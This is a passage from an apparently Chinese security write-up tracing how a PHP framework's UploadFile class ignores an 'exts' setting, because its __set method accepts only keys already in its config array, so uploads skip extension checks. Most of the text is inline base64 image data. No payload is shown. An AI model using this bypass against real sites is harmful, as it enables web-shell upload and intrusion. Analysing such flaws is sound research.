<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191124-c725ea08-d497-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>所以调用的接口如下</p>
|
||||
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191143-d2ef5f40-d497-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>实例化了一个<code>UploadFile()</code>对象然后给他的属性赋值</p>
|
||||
<p>重点关注以下代码</p>
|
||||
<div class=highlight><pre><span></span><span class=x>$upload->exts = array('jpg', 'gif', 'png', 'jpeg'); // 设置附件上传类型</span>
|
||||
</pre></div>
|
||||
<p>发现这里会调用<code>UploadFile()</code>的魔术方法 跟进</p>
|
||||
<div class=highlight><pre><span></span><span class=x>public function __set($name,$value){</span>
|
||||
<span class=x> if(isset($this->config[$name])) {</span>
|
||||
<span class=x> $this->config[$name] = $value;</span>
|
||||
<span class=x> }</span>
|
||||
<span class=x> }</span>
|
||||
</pre></div>
|
||||
<p>这里其实就是问题的本身,要是传进来的在config里头不存在则返回空,那么我们去看一下config的设置</p>
|
||||
<div class=highlight><pre><span></span><span class=x>private $config = array(</span>
|
||||
<span class=x> 'maxSize' => -1, // 上传文件的最大值</span>
|
||||
<span class=x> 'supportMulti' => true, // 是否支持多文件上传</span>
|
||||
<span class=x> 'allowExts' => array(), // 允许上传的文件后缀 留空不作后缀检查</span>
|
||||
<span class=x> 'allowTypes' => array(), // 允许上传的文件类型 留空不做检查</span>
|
||||
<span class=x> 'thumb' => false, // 使用对上传图片进行缩略图处理</span>
|
||||
<span class=x> 'imageClassPath' => 'ORG.Util.Image', // 图库类包路径</span>
|
||||
<span class=x> 'thumbMaxWidth' => '',// 缩略图最大宽度</span>
|
||||
<span class=x> 'thumbMaxHeight' => '',// 缩略图最大高度</span>
|
||||
<span class=x> 'thumbPrefix' => 'thumb_',// 缩略图前缀</span>
|
||||
<span class=x> 'thumbSuffix' => '',</span>
|
||||
<span class=x> 'thumbPath' => '',// 缩略图保存路径</span>
|
||||
<span class=x> 'thumbFile' => '',// 缩略图文件名</span>
|
||||
<span class=x> 'thumbExt' => '',// 缩略图扩展名 </span>
|
||||
<span class=x> 'thumbRemoveOrigin' => false,// 是否移除原图</span>
|
||||
<span class=x> 'thumbType' => 0, // 缩略图生成方式 1 按设置大小截取 0 按原图等比例缩略</span>
|
||||
<span class=x> 'zipImages' => false,// 压缩图片文件上传</span>
|
||||
<span class=x> 'autoSub' => false,// 启用子目录保存文件</span>
|
||||
<span class=x> 'subType' => 'hash',// 子目录创建方式 可以使用hash date custom</span>
|
||||
<span class=x> 'subDir' => '', // 子目录名称 subType为custom方式后有效</span>
|
||||
<span class=x> 'dateFormat' => 'Ymd',</span>
|
||||
<span class=x> 'hashLevel' => 1, // hash的目录层次</span>
|
||||
<span class=x> 'savePath' => '',// 上传文件保存路径</span>
|
||||
<span class=x> 'autoCheck' => true, // 是否自动检查附件</span>
|
||||
<span class=x> 'uploadReplace' => false,// 存在同名是否覆盖</span>
|
||||
<span class=x> 'saveRule' => 'uniqid',// 上传文件命名规则</span>
|
||||
<span class=x> 'hashType' => 'md5_file',// 上传文件Hash规则函数名</span>
|
||||
<span class=x> );</span>
|
||||
</pre></div>
|
||||
<p>emmm根本没有 <code>exts</code> 所以说后缀根本没有检测,可以从从调用的upload中查看</p>
|
||||
<p>断到一个叫自动检查附件</p>
|
||||
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191156-dab1b4ee-d497-1.png><img src="data:image/png;base64,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